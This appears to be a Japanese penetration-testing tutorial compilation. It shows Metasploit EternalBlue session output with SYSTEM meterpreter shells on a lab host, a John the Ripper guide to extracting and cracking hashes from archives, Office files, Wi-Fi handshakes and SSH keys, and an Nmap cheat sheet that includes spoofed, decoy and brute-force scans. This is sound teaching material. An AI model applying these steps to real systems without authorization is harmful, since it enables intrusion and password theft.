[*] Meterpreter session 2 opened (10.10.44.70:4444 -> 10.10.12.229:49186) at 2021-08-20 02:06:48 +0100
[+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Session 2 created in the background.
msf6 exploit(windows/smb/ms17_010_eternalblue) >
これにより、エクスプロイトを実行したコンテキスト・プロンプトが返されます。
checkオプションをサポートしているモジュールもあります。これは、ターゲットシステムが脆弱かどうかを、エクスプロイトせずにチェックします。
脆弱性の悪用に成功すると、セッションが作成されます。これはターゲットシステムとMetasploitの間に確立された通信チャネルです。
セッションプロンプトをバックグラウンドにして msfconsole プロンプトに戻るには background コマンドを使用します。
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(windows/smb/ms17_010_eternalblue) >
また、CTRL+Z を使用してセッションをバックグラウンドにすることもできます。
sessions コマンドは msfconsole プロンプトまたは任意のコンテキストから使用でき、既存のセッションを確認できます。
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)
msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)
msf6 >
任意のセッションと対話するには、sessions -iコマンドの後に目的のセッション番号を続けます。
msf6 > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)
msf6 > sessions -i 2
[*] Starting interaction with 2...
meterpreter >
今日は「John the Ripper」を紹介したいと思います。
John the Ripperはオープンソースのパスワードクラッカーで、複数のアルゴリズムを使ってパスワードをブルートフォースすることができます。様々な種類のドキュメントやアーカイブのパスワードを解除したり、様々なリソースのシンプルなユーザーパスワードを解除することができます。Johnの欠点は、ハッシュをクラックすることしかできないことです。つまり、暗号化されたファイルを直接扱うことはできません。例えばオフィス文書を開き、そこにパスワードを入力するようなことはできません。
以下の例では、JohnがすでにインストールされているKali Linuxを使って説明します。インストールは以下のコマンドで行えます。
# sudo apt install john -y
例として、暗号化されたアーカイブのパスワードをクラックする方法を見てみましょう。
まず、問題のファイルのハッシュを計算(抽出)する必要があります。zip2johnと呼ばれる補助ユーティリティーを使います。
ここで、アーカイブがあるフォルダに移動します。
# cd (ファイルパス)
zip2johnを実行し、結果(抽出したハッシュ)をTest.txtという同じフォルダに保存します。
# zip2john Test.zip > Text.txt
異なるファイル形式からハッシュを抽出する場合は、補助ユーティリティの名称が変わります。いくつか例を挙げてみましょう。
rarファイルからハッシュを抽出する場合。
# rar2john Test.rar > Text.txt
7zアーカイブからハッシュを抽出する場合。
# 7z2john.pl '/mnt/disk_d/Arch/from_kali.7z'
MS Word 2019ファイルからハッシュを抽出する場合。
# office2john.py '/mnt/disk_d/Share/Secret.docx' 2>/dev/null
Wi-Fiハッキングのためのハンドシェイクからハッシュを抽出する場合。
# wpapcap2john ~/RT-725140.pcap
キャプチャしたネットワークトラフィックからVNCハンドシェイクのハッシュを抽出する場合。
# vncpcap2john '/home/mial/VNC.pcapng'
SSHキーのハッシュを抽出する場合。
# ssh2john id_rsa > Text.txt
この抽出したText.txtファイルに対して、johnコマンドで解析を進めます。
最も頻繁に使われるオプションとしては、--mask(パスワードを生成するためのマスク)と--wordlist(辞書ファイルの指定)が挙げられます。
辞書ファイルを用いた解析を行うには、辞書が必要です。Kali Linuxにはseclistsと呼ばれるパッケージが用意されているのでインストールします。
# sudo apt install seclists -y
/usr/share/seclists/ 配下にファイルが展開されます。
john --wordlist=(辞書ファイル)
辞書として、/usr/share/seclists/Passwords/rockyou.txtファイルを使う場合、コマンドは以下のようになります。
john --wordlist=/usr/share/seclists/Passwords/rockyou.txt Text.txt
実行結果の例は以下となり、pass123がパスワードであることが分かります。
# sudo john --wordlist=/usr/share/seclists/Passwords/rockyou.txt Text.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pass123 (secure_1605054835063.zip/zippy/flag.txt)
1g 0:00:00:00 DONE (2024-07-26 21:44) 8.333g/s 136533p/s 136533c/s 136533C/s 123456..christal
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
マスク攻撃を行うには、次のような形式のコマンドを使用します。
./john --mask=(マスクハッシュ)
例えば、こんな感じです。
./john --mask='?d?d?d?d?d?d' Text.txt
マスク別にパスワードを把握するためのちょっとしたメモをご紹介します。
今回は、John the Ripperの用途の一つをざっと見てみましたが、決してそれだけではありません。
LinuxでJohnを使えない場合は、開発者が気を利かせて、WindowsやMacOSで使える可能性を加えてくれましたが、これはお勧めできません。興味のある方は、インターネット上にたくさんのガイドや記事があります。
以上、ここから先は誠意を持って対応してください この記事がどなたかのお役に立てれば幸いです。
Nmapは、Linux Journal、Info World、LinuxQuestions.Org、Codetalker Digestの各誌で「Security Product of the Year」に選ばれた。また、「The Matrix Reloaded」、「Die Hard 4」、「Girl With the Dragon Tattoo」、「The Bourne Ultimatum」など、12本の映画にも登場している。
Nmapの特徴
ターゲットIP(59.152.32.35)の解放ポート検索例
# nmap 59.152.32.35 Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-07 20:02 JST Nmap scan report for 59.152.32.35 Host is up (0.052s latency). Not shown: 993 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 135/tcp filtered msrpc 139/tcp filtered netbios-ssn 179/tcp open bgp 443/tcp open https 445/tcp filtered microsoft-ds Nmap done: 1 IP address (1 host up) scanned in 2.71 seconds
ターゲットIP(59.152.32.35)の検索例 ※バージョン情報も取得するパターン
# nmap -sV 59.152.32.35 Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-07 20:03 JST Nmap scan report for 59.152.32.35 Host is up (0.050s latency). Not shown: 993 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http nginx 135/tcp filtered msrpc 139/tcp filtered netbios-ssn 179/tcp open tcpwrapped 443/tcp open ssl/http nginx 445/tcp filtered microsoft-ds Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.81 seconds
ー2021/12/29追記ー
Nmapコマンドを簡単にまとめます。
Scan type | Command |
---|---|
Discovery - ARP Scan | sudo nmap -PR -sn Target_IP/24 |
Discovery - ICMP Echo Scan | sudo nmap -PE -sn Target_IP/24 |
Discovery - ICMP Timestamp Scan | sudo nmap -PP -sn Target_IP/24 |
Discovery - ICMP Address Mask Scan | sudo nmap -PM -sn Target_IP/24 |
Discovery -TCP SYN Ping Scan | sudo nmap -PS22,80,443 -sn Target_IP/30 |
Discovery - TCP ACK Ping Scan | sudo nmap -PA22,80,443 -sn Target_IP/30 |
Discovery - UDP Ping Scan | sudo nmap -PU53,161,162 -sn Target_IP/30 |
Port Scan - TCP Connect Scan | nmap -sT Target_IP |
Port Scan - TCP SYN Scan | sudo nmap -sS Target_IP |
Port Scan - UDP Scan | sudo nmap -sU Target_IP |
Port Scan - TCP Null Scan | sudo nmap -sN Target_IP |
Port Scan - TCP FIN Scan | sudo nmap -sF Target_IP |
Port Scan - TCP Xmas Scan | sudo nmap -sX Target_IP |
Port Scan - TCP Maimon Scan | sudo nmap -sM Target_IP |
Port Scan - TCP ACK Scan | sudo nmap -sA Target_IP |
Port Scan - TCP Window Scan | sudo nmap -sW Target_IP |
Port Scan - Custom TCP Scan | sudo nmap --scanflags URGACKPSHRSTSYNFIN Target_IP |
Port Scan - Spoofed Source IP | sudo nmap -S SPOOFED_IP Target_IP |
Port Scan - Spoofed MAC Address | sudo nmap -sT --spoof-mac SPOOFED_MAC Target_IP |
Port Scan - Decoy Scan | sudo nmap -D DECOY_IP,Target_IP |
Port Scan - Idle (Zombie) Scan | sudo nmap -sI ZOMBIE_IP Target_IP |
Port Scan - Fragment IP data into 8 bytes | -f |
Port Scan - Fragment IP data into 16 bytes | -ff |
Port Scan - Service Detection | sudo nmap -sV --version-light Target_IP |
Port Scan - OS Detection | sudo nmap -sS -O Target_IP |
Port Scan - Traceroute | sudo nmap -sS --traceroute Target_IP |
Port Scan - Default scripts | sudo nmap -sS -sC Target_IP |
Port Scan - FTP Brute force scripts | sudo nmap -sS -n --script "ftp-brute" Target_IP |
すべての有用なパラメータの概要、パラメータを含む表。
Option | Meaning |
---|---|
-sn | host discovery only |
-n | no DNS lookup |
-R | DNS lookup for all hosts |
-p- | scan all ports |
-p1-1023 | port range, from 1 to 1023 |
-F | top 100 most common ports |
-r | scan ports in consecutive order |
-T<0-5> | scan timing, T0 - slowest, T5 fastest |
--max-rate 20 | rate <= 20 packets/sec |
--min-rate 10 | rate >= 15 packets/sec |
-v | verbose mode |
-vv | very verbose mode |
-d | debugging |
-dd | detailed debugging |
--reason | add more info from Nmap about decision it takes |
-sV | version of service detected on open port |
-sV --version-light | amount of version probes (2) |
-sV --version-all | all available probes (9) |
-O | detect OS |
--traceroute | run traceroute to target |
--script=SCRIPTS | Nmap scripts to run |
-sC or --script=default | run default scripts |
-A | equivalent to -sV -O -sC --traceroute |
-oN | save output in normal format |
-oG | save output in grepable format |
-oX | save output in XML format |
-oA | save output in normal, XML and Grepable formats |
# sudo nmap -O -sV --version-intensity 5 --traceroute -oA /tmp/scan_output 192.168.1.1